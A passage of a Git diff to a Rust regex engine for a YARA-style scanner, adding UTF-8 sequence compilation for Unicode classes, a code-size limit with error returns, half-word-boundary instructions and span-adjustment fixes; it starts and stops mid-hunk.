ErrorKind::RepetitionCountDecimalEmpty => { + ErrorKind::RepetitionCountDecimalEmpty => { let span = err.span(); - // Find the `{` that needs to be escaped. In some - // cases the error span starts exactly at the - // position where the `{` is, but in some other - // cases it starts a few characters after the `{`. - let curly_brace = re_src.as_ref() - [0..=span.start.offset] + // For `RepetitionCountDecimalEmpty` (e.g. `/a{你好/` + // or `/a{1,你好/`), `span` is empty (`2..2` or + // `4..4`) at the start of the character where a + // decimal digit was expected, a few characters + // after the `{`. Notice we slice `0..span.start.offset` + // (a valid UTF-8 boundary, unlike `0..=span.start.offset` + // which would land mid-UTF-8) to find the opening + // `{`. Since YARA `/.../` literals cannot contain + // `\n`, no `(?x)` `#` comment can end before + // `span.start.offset`. + let Some(curly_brace) = re_src.as_ref() + [0..span.start.offset] .rfind('{') - .unwrap(); + else { + break Err(err); + }; let mut s = re_src.into_owned(); // Insert a backslash in front of the `{`. s.insert(curly_brace, '\\'); re_src = Cow::Owned(s); - span_delta -= 1; + edits.push(Edit::Insert(curly_brace)); } _ => { break Err(err); @@ -262,8 +314,13 @@ impl Parser { "did you mean `\\{esc_seq}` instead of `{esc_seq}`?" )) } - ErrorKind::RepetitionMissing - | ErrorKind::RepetitionCountInvalid + ErrorKind::RepetitionMissing => re_src + .get(span.start.offset..) + .and_then(|s| s.chars().next()) + .map(|op| { + format!("did you mean `\\{op}` instead of `{op}`?") + }), + ErrorKind::RepetitionCountInvalid | ErrorKind::RepetitionCountUnclosed | ErrorKind::RepetitionCountDecimalEmpty => { Some("did you mean `\\{` instead of `{`?".to_string()) @@ -273,7 +330,7 @@ impl Parser { Error::WrongSyntax { msg: err.kind().to_string(), - span: adjust_span(span, span_delta), + span: adjust_span(span, &edits), note, } })?; @@ -288,7 +345,21 @@ impl Parser { let greedy = Validator::new() .allow_mixed_greediness(self.allow_mixed_greediness) .dot_matches_new_line(regexp.dot_matches_new_line()) - .validate(&ast)?; + .validate(&ast) + .map_err(|mut err| { + match &mut err { + Error::WrongSyntax { span, .. } + | Error::UnsupportedInUnicode { span } + | Error::ArbitraryPrefix { span } => { + *span = adjust_span(span, &edits); + } + Error::MixedGreediness { span_1, span_2, .. } => { + *span_1 = adjust_span(span_1, &edits); + *span_2 = adjust_span(span_2, &edits); + } + } + err + })?; let case_insensitive = match self.force_case_sensitiveness { Some(CaseSensitiveness::Sensitive) => false, @@ -307,7 +378,7 @@ impl Parser { translator.translate(re_src.as_ref(), &ast).map_err(|err| { Error::WrongSyntax { msg: err.kind().to_string(), - span: adjust_span(err.span(), span_delta), + span: adjust_span(err.span(), &edits), note: None, } })?; @@ -391,8 +462,14 @@ impl re::ast::Visitor for &mut Validator { fn visit_pre(&mut self, ast: &Ast) -> Result<(), Self::Err> { match ast { - Ast::Group(_) => { - self.unicode_mode_stack.push(self.in_unicode_mode()); + Ast::Group(group) => { + let unicode_mode = match &group.kind { + GroupKind::NonCapturing(flags) => flags + .flag_state(Flag::Unicode) + .unwrap_or_else(|| self.in_unicode_mode()), + _ => self.in_unicode_mode(), + }; + self.unicode_mode_stack.push(unicode_mode); } Ast::Flags(f) => { if let Some(unicode_flag) = f.flags.flag_state(Flag::Unicode) { @@ -419,6 +496,8 @@ impl re::ast::Visitor for &mut Validator { | AssertionKind::WordBoundary // \b | AssertionKind::WordBoundaryStart // \b{start} | AssertionKind::WordBoundaryEnd // \b{end} + | AssertionKind::WordBoundaryStartHalf // \b{start-half} + | AssertionKind::WordBoundaryEndHalf // \b{end-half} ) { return Err(Error::UnsupportedInUnicode { diff --git a/lib/src/re/thompson/compiler.rs b/lib/src/re/thompson/compiler.rs index a1127e032..7a595fcf9 100644 --- a/lib/src/re/thompson/compiler.rs +++ b/lib/src/re/thompson/compiler.rs @@ -21,8 +21,10 @@ use bitvec::order::Lsb0; use regex_syntax::hir; use regex_syntax::hir::literal::Seq; use regex_syntax::hir::{ - Class, ClassBytes, Hir, HirKind, Literal, Look, Repetition, Visitor, visit, + Class, ClassBytes, ClassBytesRange, Hir, HirKind, Literal, Look, + Repetition, visit, }; +use regex_syntax::utf8::{Utf8Range, Utf8Sequence, Utf8Sequences}; use super::instr; use super::instr::{Instr, NumAlt, OPCODE_PREFIX, literal_code_length}; @@ -202,7 +204,7 @@ impl Compiler { let bck_code_start = code.len(); code.append(&mut bck_code.into_inner()); - let atoms = atoms + let re_atoms = atoms .into_iter() .map(|a| re::RegexpAtom { atom: a.atom, @@ -215,7 +217,7 @@ impl Compiler { }) .collect(); - Ok(atoms) + Ok(re_atoms) } } @@ -285,7 +287,10 @@ impl Compiler { self.backward_code_chunks.push(self.backward_code().next()); } - fn reverse_backward_code_chunks(&mut self, n: usize) -> Vec { + fn reverse_backward_code_chunks( + &mut self, + n: usize, + ) -> Result, Error> { // Split `backward_code_chunks` in two halves, [0, len-n) and // [len-n, len). The first half stays in `backward_code_chunks` while // the second half is stored in `last_n_chunks`. @@ -328,7 +333,7 @@ impl Compiler { zip(locations.iter_mut(), last_n_chunks.iter()).rev() { chunk_locations.insert(chunk.seq_id(), backward_code.location()); - backward_code.append(chunk); + backward_code.append(chunk)?; location.bck_seq_id = backward_code.seq_id(); location.bck = backward_code.location(); @@ -348,7 +353,7 @@ impl Compiler { } } - locations + Ok(locations) } fn location(&self) -> CodeLoc { @@ -375,36 +380,43 @@ impl Compiler { }) } - fn emit_repeat(&mut self, min: u32, max: u32, greedy: bool) -> CodeLoc { - CodeLoc { - fwd: self.forward_code_mut().emit_repeat(min, max, greedy), + fn emit_repeat( + &mut self, + min: u32, + max: u32, + greedy: bool, + ) -> Result { + Ok(CodeLoc { + fwd: self.forward_code_mut().emit_repeat(min, max, greedy)?, bck_seq_id: self.backward_code().seq_id(), - bck: self.backward_code_mut().emit_repeat(min, max, greedy), - } + bck: self.backward_code_mut().emit_repeat(min, max, greedy)?, + }) } - fn emit_masked_byte(&mut self, b: HexByte) -> CodeLoc { - CodeLoc { - fwd: self.forward_code_mut().emit_masked_byte(b), + fn emit_masked_byte(&mut self, b: HexByte) -> Result { + Ok(CodeLoc { + fwd: self.forward_code_mut().emit_masked_byte(b)?, bck_seq_id: self.backward_code().seq_id(), - bck: self.backward_code_mut().emit_masked_byte(b), - } + bck: self.backward_code_mut().emit_masked_byte(b)?, + }) } - fn emit_class(&mut self, c: &ClassBytes) -> CodeLoc { - CodeLoc { - fwd: self.forward_code_mut().emit_class(c), + fn emit_class(&mut self, c: &ClassBytes) -> Result { + Ok(CodeLoc { + fwd: self.forward_code_mut().emit_class(c)?, bck_seq_id: self.backward_code().seq_id(), - bck: self.backward_code_mut().emit_class(c), - } + bck: self.backward_code_mut().emit_class(c)?, + }) } - fn emit_literal(&mut self, literal: &Literal) -> CodeLoc { - CodeLoc { - fwd: self.forward_code_mut().emit_literal(literal.0.iter()), + fn emit_literal(&mut self, literal: &Literal) -> Result { + Ok(CodeLoc { + fwd: self.forward_code_mut().emit_literal(literal.0.iter())?, bck_seq_id: self.backward_code().seq_id(), - bck: self.backward_code_mut().emit_literal(literal.0.iter().rev()), - } + bck: self + .backward_code_mut() + .emit_literal(literal.0.iter().rev())?, + }) } fn emit_clone( @@ -462,53 +474,155 @@ impl Compiler { self.backward_code_mut().patch_split_n(location.bck, bck.into_iter()); } + /// Emits a PikeVM instruction into `seq` matching a single byte range from + /// a [`Utf8Sequence`]. + fn emit_utf8_range( + seq: &mut InstrSeq, + range: &Utf8Range, + ) -> Result { + // When the range matches a single exact byte, emit it as a literal + // instead of a `CLASS_RANGES` instruction, as literals are more + // compact. + if range.start == range.end { + seq.emit_literal(std::iter::once(&range.start)) + } else { + let class = ClassBytes::new([ClassBytesRange::new( + range.start, + range.end, + )]); + // Byte ranges such as UTF-8 continuation bytes (`0x80..=0xBF`) can + // be encoded as a single `MASKED_BYTE` (`b & 0xC0 == 0x80`). + if let Some(byte) = re::hir::class_to_masked_byte(&class) { + seq.emit_masked_byte(byte) + } else { + seq.emit_class(&class) + } + } + } + + /// Emits forward and backward PikeVM code for a [`Utf8Sequence`]. + /// + /// A [`Utf8Sequence`] represents a set of Unicode scalar values whose + /// UTF-8 encodings have the same length (1 to 4 bytes) and match each + /// byte range in sequence (e.g. `U+0080..=U+07FF` is represented as the + /// 2-byte sequence `[0xC2..=0xDF][0x80..=0xBF]`). + fn emit_utf8_seq(&mut self, seq: &Utf8Sequence) -> Result { + let loc = self.location(); + let ranges = seq.as_slice(); + // Forward code matches the UTF-8 bytes left-to-right. + for range in ranges.iter() { + Self::emit_utf8_range(self.forward_code_mut(), range)?; + } + // Backward code scans right-to-left, so the byte ranges must be + // emitted in reverse order. + for range in ranges.iter().rev() { + Self::emit_utf8_range(self.backward_code_mut(), range)?; + } + Ok(loc) + } + fn visit_post_class(&mut self, class: &Class) -> Result { match class { Class::Bytes(class) => { if let Some(byte) = re::hir::class_to_masked_byte(class) { - Ok(self.emit_masked_byte(byte)) + self.emit_masked_byte(byte) } else { - Ok(self.emit_class(class)) + self.emit_class(class) } } Class::Unicode(class) => { - // Unicode classes can appear even on regexps that were compiled - // without unicode support. This a well-known issue with the - // `regex-syntax` crate, and we should be able to handle it. - // See: https://github.com/rust-lang/regex/issues/1088 + // Unicode classes can appear when Unicode mode is enabled via + // `(?u)` or even on regexps compiled without Unicode support + // due to `regex-syntax` issue #1088: + // https://github.com/rust-lang/regex/issues/1088 // - // The first thing we do is trying to covert the unicode class - // into a byte class. If that's not possible, the alternative - // is converting the unicode class to an alternation of literals, - // where each literal is the UTF-8 encoding of one character in - // the class. + // First try converting the Unicode class into an ASCII byte + // class. When the class contains non-ASCII characters that + // require multi-byte UTF-8 encodings, use `Utf8Sequences` to + // compile each Unicode scalar range into minimal sequences of + // UTF-8 byte ranges rather than expanding every codepoint into + // an individual literal (for example, `(?u).` spans >1.1M + // codepoints, which `Utf8Sequences` collapses into 10 UTF-8 + // byte-range sequences). if let Some(class) = class.to_byte_class() { - Ok(self.emit_class(&class)) + self.emit_class(&class) } else { - let mut lits = Vec::new(); + let mut seqs = Vec::new(); for range in class.ranges() { - for unicode_char in range.start()..=range.end() { - let mut buf: [u8; 4] = [0; 4]; - lits.push(Hir::literal( - unicode_char.encode_utf8(&mut buf).as_bytes(), - )); + for seq in + Utf8Sequences::new(range.start(), range.end()) + { + // `SPLIT_N` encodes the number of branches in a + // `u8` (`MAX_ALTERNATIVES` = 255). Stop early if a + // fragmented Unicode class (such as `\p{L}`) + // exceeds this limit. + if seqs.len() == MAX_ALTERNATIVES { + return Err(Error::TooLarge); + } + seqs.push(seq); } } - // Using `Hir::alternation` for creating a HIR for the - // alternation of literals is not possible, because during - // the construction the HIR will be converted into a - // unicode class. Therefore, we don't try to create a HIR - // node for the alternation, and instead visit the literal - // nodes as if they were part of an alternation. - self.visit_pre_alternation(&lits)?; - for (i, lit) in lits.iter().enumerate() { - self.visit_pre(lit)?; - self.visit_post(lit)?; - if i < lits.len() - 1 { - self.visit_alternation_in()?; + + match seqs.as_slice() { + // An empty Unicode class would have already been + // handled by `class.to_byte_class()` above. + [] => unreachable!(), + // Single UTF-8 sequence (e.g. `/🙈/i`): emit its bytes + // directly without wrapping them in a `split_n`. + [seq] => self.emit_utf8_seq(seq), + // Multiple UTF-8 sequences: emit an N-way alternation: + // + // split_n l1, l2, ..., lN + // l1 : ... code for seqs[0] ... + // l1_j : jump end_loc + // l2 : ... code for seqs[1] ... + // l2_j : jump end_loc + // ... + // lN : ... code for seqs[N - 1] ... + // end_loc: + seqs => { + let n = seqs.len(); + let split_loc = + self.emit_split_n(n.try_into().unwrap())?; + let mut seq_locs = Vec::with_capacity(n); + let mut jump_locs = Vec::with_capacity(n - 1); + + for (i, seq) in seqs.iter().enumerate() { + seq_locs.push(self.emit_utf8_seq(seq)?); + // Every branch except the last one needs to + // jump over the remaining branches to `end_loc`. + if i < n - 1 { + jump_locs + .push(self.emit_instr(Instr::JUMP)?); + } + } + + let end_loc = self.location(); + + // Patch all branch-ending jumps to land at `end_loc`. + for jump_loc in jump_locs { + self.patch_instr( + &jump_loc, + end_loc.sub(&jump_loc)?, + ); + } + + // Patch `split_n` with the relative offset of each + // sequence branch. + let offsets: Vec = seq_locs + .into_iter() + .map(|loc| loc.sub(&split_loc)) + .collect::, Error>>( + )?; + + self.patch_split_n( + &split_loc, + offsets.into_iter(), + ); + + Ok(split_loc) } } - self.visit_post_alternation(&lits) } } } @@ -528,6 +642,10 @@ impl Compiler { } Look::WordStartAscii => self.emit_instr(Instr::WORD_START)?, Look::WordEndAscii => self.emit_instr(Instr::WORD_END)?, + Look::WordStartHalfAscii => { + self.emit_instr(Instr::WORD_START_HALF)? + } + Look::WordEndHalfAscii => self.emit_instr(Instr::WORD_END_HALF)?, _ => unreachable!("{:?}", look), }) } @@ -538,7 +656,10 @@ impl Compiler { self.start_backward_code_chunk(); } - fn visit_post_concat(&mut self, expressions: &[Hir]) -> Vec { + fn visit_post_concat( + &mut self, + expressions: &[Hir], + ) -> Result, Error> { // We are here because all the children of a `Concat` node have been // processed. The last N chunks in the `backward_code_chunks` stack // contain the code produced for each of the N children, but the nodes @@ -857,7 +978,7 @@ impl Compiler { let l1 = self.bookmarks.pop().unwrap(); let l2 = self.bookmarks.pop().unwrap(); - let l3 = self.emit_repeat(0, max, greedy); + let l3 = self.emit_repeat(0, max, greedy)?; let l4 = self.location(); self.patch_instr(&l1, l4.sub(&l1)?); @@ -905,7 +1026,7 @@ impl Compiler { }; let l1 = self.emit_clone(start, end)?; - let l2 = self.emit_repeat(min - 1, max - 1, greedy); + let l2 = self.emit_repeat(min - 1, max - 1, greedy)?; let l3 = self.location(); self.patch_instr(&l2, l1.sub(&l2)?); @@ -914,7 +1035,7 @@ impl Compiler { self.patch_instr(&split, l3.sub(&split)?); } - let locations = self.reverse_backward_code_chunks(2); + let locations = self.reverse_backward_code_chunks(2)?; Ok(locations[0]) } @@ -1056,7 +1177,7 @@ impl hir::Visitor for Compiler { (Some(vec![Atom::exact([])]), self.location()) } HirKind::Literal(literal) => { - let mut code_loc = self.emit_literal(literal); + let mut code_loc = self.emit_literal(literal)?; code_loc.bck_seq_id = self.backward_code().seq_id(); code_loc.bck = self.backward_code().location(); @@ -1143,7 +1264,7 @@ impl hir::Visitor for Compiler { // bck code: expr3 expr2 expr1 // ^-> // - let locations = self.visit_post_concat(expressions); + let locations = self.visit_post_concat(expressions)?; if self.zero_rep_depth > 0 { return Ok(()); @@ -1332,6 +1453,9 @@ impl AsRef<[u8]> for InstrSeq { } impl InstrSeq { + /// Maximum size (in bytes) of an instruction sequence. + const MAX_CODE_SIZE: usize = 128 * 1024; + /// Creates a new [`InstrSeq`]. pub fn new() -> Self { Self { @@ -1362,8 +1486,19 @@ impl InstrSeq { } /// Appends another sequence to this one. - pub fn append(&mut self, other: &Self) { - self.seq.write_all(other.seq.get_ref().as_slice()).unwrap(); + pub fn append(&mut self, other: &Self) -> Result<(), Error> { + self.write(other.seq.get_ref().as_slice()) + } + + #[inline] + fn write(&mut self, bytes: &[u8]) -> Result<(), Error> { + if self.seq.get_ref().len().saturating_add(bytes.len()) + > Self::MAX_CODE_SIZE + { + return Err(Error::TooLarge); + } + self.seq.write_all(bytes).unwrap(); + Ok(()) } /// Returns the current location within the instruction sequence. @@ -1393,16 +1528,14 @@ impl InstrSeq { // the result for this function. let location = self.location(); - self.seq.write_all(&[OPCODE_PREFIX, instr]).unwrap(); + self.write(&[OPCODE_PREFIX, instr])?; match instr { Instr::SPLIT_A | Instr::SPLIT_B => { // Split instructions are followed by a value that identifies // the split. Each split in the same regexp have a unique // value. - self.seq - .write_all(self.split_id.to_le_bytes().as_slice()) - .unwrap(); + self.write(self.split_id.to_le_bytes().as_slice())?; // Increment the split ID, so that the next split has a // different ID. if let Some(incremented) = self.split_id.add(1) { @@ -1412,18 +1545,14 @@ impl InstrSeq { } // The split ID is followed by a 16-bits offset that is // relative to the start of the instruction. - self.seq - .write_all(&[0x00; size_of::()]) - .unwrap(); + self.write(&[0x00; size_of::()])?; } Instr::JUMP => { // Jump instructions are followed by a 16-bits offset that is // relative to the start of the instruction. This offset is // initially set to 0, but later updated with `patch_instr`, // when the target offset is known. - self.seq - .write_all(&[0x00; size_of::()]) - .unwrap(); + self.write(&[0x00; size_of::()])?; } _ => {} } @@ -1436,8 +1565,8 @@ impl InstrSeq { pub fn emit_split_n(&mut self, n: NumAlt) -> Result { let location = self.location(); - self.seq.write_all(&[OPCODE_PREFIX, Instr::SPLIT_N]).unwrap(); - self.seq.write_all(self.split_id.to_le_bytes().as_slice()).unwrap(); + self.write(&[OPCODE_PREFIX, Instr::SPLIT_N])?; + self.write(self.split_id.to_le_bytes().as_slice())?; if let Some(incremented) = self.split_id.add(1) { self.split_id = incremented @@ -1445,10 +1574,10 @@ impl InstrSeq { return Err(Error::TooLarge); } - self.seq.write_all(NumAlt::to_le_bytes(n).as_slice()).unwrap(); + self.write(NumAlt::to_le_bytes(n).as_slice())?; for _ in 0..n { - self.seq.write_all(&[0x00; size_of::()]).unwrap(); + self.write(&[0x00; size_of::()])?; } Ok(location) @@ -1457,56 +1586,53 @@ impl InstrSeq { /// Adds a [`Instr::RepeatGreedy`] instruction at the end of the /// sequence and returns the location where the newly added instruction /// resides. - pub fn emit_repeat(&mut self, min: u32, max: u32, greedy: bool) -> usize { + pub fn emit_repeat( + &mut self, + min: u32, + max: u32, + greedy: bool, + ) -> Result { let location = self.location(); - self.seq - .write_all(&[ - OPCODE_PREFIX, - if greedy { - Instr::REPEAT_GREEDY - } else { - Instr::REPEAT_NON_GREEDY - }, - ]) - .unwrap(); + self.write(&[ + OPCODE_PREFIX, + if greedy { + Instr::REPEAT_GREEDY + } else { + Instr::REPEAT_NON_GREEDY + }, + ])?; - self.seq.write_all(&[0x00; size_of::()]).unwrap(); - self.seq.write_all(min.to_le_bytes().as_slice()).unwrap(); - self.seq.write_all(max.to_le_bytes().as_slice()).unwrap(); + self.write(&[0x00; size_of::()])?; + self.write(min.to_le_bytes().as_slice())?; + self.write(max.to_le_bytes().as_slice())?; - location + Ok(location) } /// Adds a [`Instr::MaskedByte`] instruction at the end of the sequence and /// returns the location where the newly added instruction resides. - pub fn emit_masked_byte(&mut self, b: HexByte) -> usize { + pub fn emit_masked_byte(&mut self, b: HexByte) -> Result { let location = self.location(); - self.seq - .write_all(&[OPCODE_PREFIX, Instr::MASKED_BYTE, b.value, b.mask]) - .unwrap(); - location + self.write(&[OPCODE_PREFIX, Instr::MASKED_BYTE, b.value, b.mask])?; + Ok(location) } /// Adds a [`Instr::ClassBitmap`] or [`Instr::ClassRanges`] instruction at /// the end of the sequence and returns the location where the newly added /// instruction resides. - pub fn emit_class(&mut self, c: &ClassBytes) -> usize { + pub fn emit_class(&mut self, c: &ClassBytes) -> Result { let location = self.location(); - // When the number of ranges is <= 15 `Instr::ClassRanges` is - // preferred over `Instr::ClassBitmap` because of its more compact - // representation. With 16 ranges or more `Instr::ClassBitmap` becomes - // more compact. - if c.ranges().len() < 16 { - self.seq - .write_all(&[ - OPCODE_PREFIX, - Instr::CLASS_RANGES, - c.ranges().len() as u8, - ]) - .unwrap(); + // Keep very small classes compact. Starting at four ranges, prefer the + // constant-time bitmap lookup over scanning each range. + if c.ranges().len() < 4 { + self.write(&[ + OPCODE_PREFIX, + Instr::CLASS_RANGES, + c.ranges().len() as u8, + ])?; for range in c.ranges() { - self.seq.write_all(&[range.start(), range.end()]).unwrap(); + self.write(&[range.start(), range.end()])?; } } else { // Create a bitmap where the N-th bit is set if byte N is part of @@ -1516,35 +1642,35 @@ impl InstrSeq { let range = range.start() as usize..=range.end() as usize; bitmap[range].fill(true); } - self.seq.write_all(&[OPCODE_PREFIX, Instr::CLASS_BITMAP]).unwrap(); - self.seq.write_all(&bitmap.data).unwrap(); + self.write(&[OPCODE_PREFIX, Instr::CLASS_BITMAP])?; + self.write(&bitmap.data)?; } - location + Ok(location) } /// Adds instructions for matching a literal at the end of the sequence. pub fn emit_literal<'a, I: IntoIterator>( &mut self, literal: I, - ) -> usize { + ) -> Result { let location = self.location(); for b in literal { // If the literal contains a byte that is equal to the opcode // prefix it is duplicated. This allows the VM to interpret this // byte as part of the literal, not as an instruction. if *b == OPCODE_PREFIX { - self.seq.write_all(&[*b, *b]).unwrap(); + self.write(&[*b, *b])?; } else { - self.seq.write_all(&[*b]).unwrap(); + self.write(&[*b])?; } } - location + Ok(location) } pub fn emit_bytes(&mut self, bytes: &[u8]) -> Result { let location = self.location(); - self.seq.write_all(bytes).unwrap(); + self.write(bytes)?; self.update_split_ids(location)?; Ok(location) } @@ -1562,6 +1688,13 @@ impl InstrSeq { end: usize, ) -> Result { let location = self.location(); + let clone_len = end - start; + + if self.seq.get_ref().len().saturating_add(clone_len) + > Self::MAX_CODE_SIZE + { + return Err(Error::TooLarge); + } // Extend the code by cloning the ranges that go from `start` to `end`. self.seq.get_mut().extend_from_within(start..end); @@ -1835,6 +1968,12 @@ impl Display for InstrSeq { Instr::WordEnd => { writeln!(f, "{addr:05x}: WORD_END")?; } + Instr::WordStartHalf => { + writeln!(f, "{addr:05x}: WORD_START_HALF")?; + } + Instr::WordEndHalf => { + writeln!(f, "{addr:05x}: WORD_END_HALF")?; + } Instr::Match => { writeln!(f, "{addr:05x}: MATCH")?; break; diff --git a/lib/src/re/thompson/instr.rs b/lib/src/re/thompson/instr.rs index abf8fe5f2..dfe0f62bb 100644 --- a/lib/src/re/thompson/instr.rs +++ b/lib/src/re/thompson/instr.rs @@ -98,7 +98,9 @@ impl SplitId { #[inline] pub fn from_le_bytes(bytes: [u8; size_of::()]) -> Self { - Self(u16::from_le_bytes(bytes)) + // Masks decoded u16 values with Self::MAX as u16 (0x1FFF) so decoded + // SplitIds are guaranteed to be <= Self::MAX. + Self(u16::from_le_bytes(bytes) & (Self::MAX as u16)) } /// Add a given amount to the split id, returning [`None`] if the result @@ -186,8 +188,9 @@ pub enum Instr<'a> { /// one per byte. If the N-th bit is set, the byte N is part of the class /// and should match. This instruction is quite large, it takes 2 bytes /// for the opcode plus 32 bytes (256 bits) for the mask. For classes with - /// a low number of non-adjacent byte ranges `ClassRanges` is preferred - /// due to its more compact representation. + /// at most three non-adjacent byte ranges `ClassRanges` is preferred due + /// to its more compact representation. Starting at four ranges, the + /// compiler prefers the bitmap's constant-time lookup. ClassBitmap(ClassBitmap<'a>), /// Matches a byte class. The class represents one or more byte ranges @@ -195,9 +198,9 @@ pub enum Instr<'a> { /// follows one pair `[u8, u8]` per range, indicating starting and ending /// bytes for the range, both inclusive. With 16 ranges this instruction /// takes 35 bytes (2 bytes for the opcode + 1 byte for the number of - /// ranges + 32 bytes for the ranges), therefore it is used only when the - /// number of ranges is <= 15. For a larger number of ranges `ClassBitmap` - /// is preferred. + /// ranges + 32 bytes for the ranges). The compiler uses this compact form + /// for up to three ranges and prefers `ClassBitmap` for larger classes to + /// avoid a linear range scan for each input byte. ClassRanges(ClassRanges<'a>), /// Creates a new thread that starts at the current instruction pointer @@ -285,6 +288,16 @@ pub enum Instr<'a> { /// character and the following character is not a word character. This is a /// zero-length match. WordEnd, + + /// Match the start half of a word boundary. That is, this matches a + /// position at either the beginning of the haystack or where the previous + /// character is not a word character. This is a zero-length match. + WordStartHalf, + + /// Match the end half of a word boundary. That is, this matches a position + /// at either the end of the haystack or where the following character is + /// not a word character. This is a zero-length match. + WordEndHalf, } impl Instr<'_> { @@ -308,6 +321,8 @@ impl Instr<'_> { pub const REPEAT_NON_GREEDY: u8 = 0x11; pub const LINE_START: u8 = 0x12; pub const LINE_END: u8 = 0x13; + pub const WORD_START_HALF: u8 = 0x14; + pub const WORD_END_HALF: u8 = 0x15; } /// Parses a slice of bytes that contains Pike VM instructions, returning @@ -451,6 +466,12 @@ impl<'a> InstrParser<'a> { } [OPCODE_PREFIX, Instr::WORD_START, ..] => (Instr::WordStart, 2), [OPCODE_PREFIX, Instr::WORD_END, ..] => (Instr::WordEnd, 2), + [OPCODE_PREFIX, Instr::WORD_START_HALF, ..] => { + (Instr::WordStartHalf, 2) + } + [OPCODE_PREFIX, Instr::WORD_END_HALF, ..] => { + (Instr::WordEndHalf, 2) + } [OPCODE_PREFIX, Instr::MATCH, ..] => (Instr::Match, 2), [_, ..] => { if decode_literal_runs && Self::is_bytes_run(code) { @@ -744,5 +765,10 @@ mod tests { let (instr, size) = InstrParser::decode_instr(&code, true); assert_eq!(size, 2); assert!(matches!(instr, Instr::Byte(OPCODE_PREFIX))); + + assert_eq!( + usize::from(SplitId::from_le_bytes([0xFF, 0xFF])), + SplitId::MAX + ); } } diff --git a/lib/src/re/thompson/pikevm.rs b/lib/src/re/thompson/pikevm.rs index 1c251e62e..f75843c00 100644 --- a/lib/src/re/thompson/pikevm.rs +++ b/lib/src/re/thompson/pikevm.rs @@ -1,11 +1,13 @@ +use bitvec::array::BitArray; use std::cell::Cell; use std::mem; - -use bitvec::array::BitArray; +use std::ops::ControlFlow; use super::instr::{Instr, InstrParser, Offset}; use crate::re::thompson::instr::SplitId; -use crate::re::{Action, CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; +use crate::re::{CodeLoc, DEFAULT_SCAN_LIMIT, WideIter}; + +type Thread = (u32, u32); /// Represents a [Pike's VM](https://swtch.com/~rsc/regexp/regexp2.html) that /// executes VM code produced by the [compiler][`crate::re::compiler::Compiler`]. @@ -16,13 +18,13 @@ pub(crate) struct PikeVM<'r> { /// position within the VM code, pointing to some VM instruction. Each item /// in the set is unique, the VM guarantees that there aren't two active /// threads at the same VM instruction. - threads: Vec<(usize, u32)>, + threads: Vec, /// The set of threads that will become the active threads when the next /// byte is read from the input. - next_threads: Vec<(usize, u32)>, + next_threads: Vec, /// Maximum number of bytes to scan. The VM will abort after ingesting /// this number of bytes from the input. - scan_limit: u16, + scan_limit: u32, /// State for the [`epsilon_closure`] function. cache: EpsilonClosureState, } @@ -51,7 +53,7 @@ impl<'r> PikeVM<'r> { /// /// The default limit is 4096 bytes. #[allow(dead_code)] - pub fn scan_limit(mut self, limit: u16) -> Self { + pub fn scan_limit(mut self, limit: u32) -> Self { self.scan_limit = limit; self } @@ -70,8 +72,8 @@ impl<'r> PikeVM<'r> { /// starting point /// ``` /// - /// The `f` function must return either [`Action::Continue`] or - /// [`Action::Stop`], the former will cause the VM to keep trying to find + /// The `f` function must return either [`ControlFlow::Continue`] or + /// [`ControlFlow::Break`], the former will cause the VM to keep trying to find /// longer matches, while the latter will stop the scanning. #[inline] pub(crate) fn try_match( @@ -80,7 +82,7 @@ impl<'r> PikeVM<'r> { right: &[u8], left: &[u8], wide: bool, - mut f: impl FnMut(usize) -> Action, + mut f: impl FnMut(usize) -> ControlFlow<()>, ) where C: CodeLoc, { @@ -98,7 +100,7 @@ impl<'r> PikeVM<'r> { WideIter::non_zero_first(right.iter(), &error_fwd), WideIter::zero_first(left.iter().rev(), &error_bck), |match_len| match error_fwd.get() { - Some(pos) if pos < match_len => Action::Stop, + Some(pos) if pos < match_len => ControlFlow::Break(()), _ => f(match_len * 2), }, ) @@ -116,7 +118,7 @@ impl<'r> PikeVM<'r> { WideIter::zero_first(left.iter().rev(), &error_fwd), WideIter::non_zero_first(right.iter(), &error_bck), |match_len| match error_fwd.get() { - Some(pos) if pos < match_len => Action::Stop, + Some(pos) if pos < match_len => ControlFlow::Break(()), _ => f(match_len * 2), }, ) @@ -131,8 +133,8 @@ impl<'r> PikeVM<'r> { /// The number of matching bytes can be zero, as some regexps can match /// a zero-length string. /// - /// The `f` function must return either [`Action::Continue`] or - /// [`Action::Stop`], the former will cause the VM to keep trying to find + /// The `f` function must return either [`ControlFlow::Continue`] or + /// [`ControlFlow::Break`], the former will cause the VM to keep trying to find /// longer matches, while the latter will stop the scanning. /// /// `bck_input` is an iterator that returns the bytes that are before @@ -156,7 +158,7 @@ impl<'r> PikeVM<'r> { start: C, mut fwd_input: F, mut bck_input: B, - mut f: impl FnMut(usize) -> Action, + mut f: impl FnMut(usize) -> ControlFlow<()>, ) where C: CodeLoc, F: Iterator, @@ -169,17 +171,23 @@ impl<'r> PikeVM<'r> { // called. debug_assert!(self.threads.is_empty()); + let code = self.code; + let scan_limit = self.scan_limit as usize; + let cache = &mut self.cache; + let (mut threads, mut next_threads) = + (&mut self.threads, &mut self.next_threads); + epsilon_closure( - self.code, + code, start, 0, curr_byte, bck_input.next(), - &mut self.cache, - &mut self.threads, + cache, + threads, ); - while !self.threads.is_empty() { + while !threads.is_empty() { let mut next_byte = fwd_input.next(); // When there is only a single active thread in the VM (that is, // `self.threads.len() == 1`), we can optimize execution by @@ -192,11 +200,12 @@ impl<'r> PikeVM<'r> { // desynchronize and bypass other threads matching at different // positions or branches. It's safe to set decode_literal_runs // always to false, it will simply disable the optimization. - let decode_literal_runs = self.threads.len() == 1; + let decode_literal_runs = threads.len() == 1; - for (ip, rep_count) in self.threads.iter() { + for (ip, rep_count) in threads.iter() { + let ip = *ip as usize; let (instr, mut instr_size) = InstrParser::decode_instr( - unsafe { self.code.get_unchecked(*ip..) }, + unsafe { code.get_unchecked(ip..) }, decode_literal_runs, ); @@ -274,21 +283,21 @@ impl<'r> PikeVM<'r> { matches!(curr_byte, Some(b) if class.contains(*b)) } Instr::Match => match f(current_pos) { - Action::Stop => break, - Action::Continue => false, + ControlFlow::Break(_) => break, + ControlFlow::Continue(_) => false, }, _ => unreachable!(), }; if is_match { epsilon_closure( - self.code, - C::from(*ip + instr_size), + code, + C::from(ip + instr_size), *rep_count, next_byte, curr_byte, - &mut self.cache, - &mut self.next_threads, + cache, + next_threads, ); } } @@ -296,11 +305,11 @@ impl<'r> PikeVM<'r> { curr_byte = next_byte; current_pos += 1; - mem::swap(&mut self.threads, &mut self.next_threads); - self.next_threads.clear(); + mem::swap(&mut 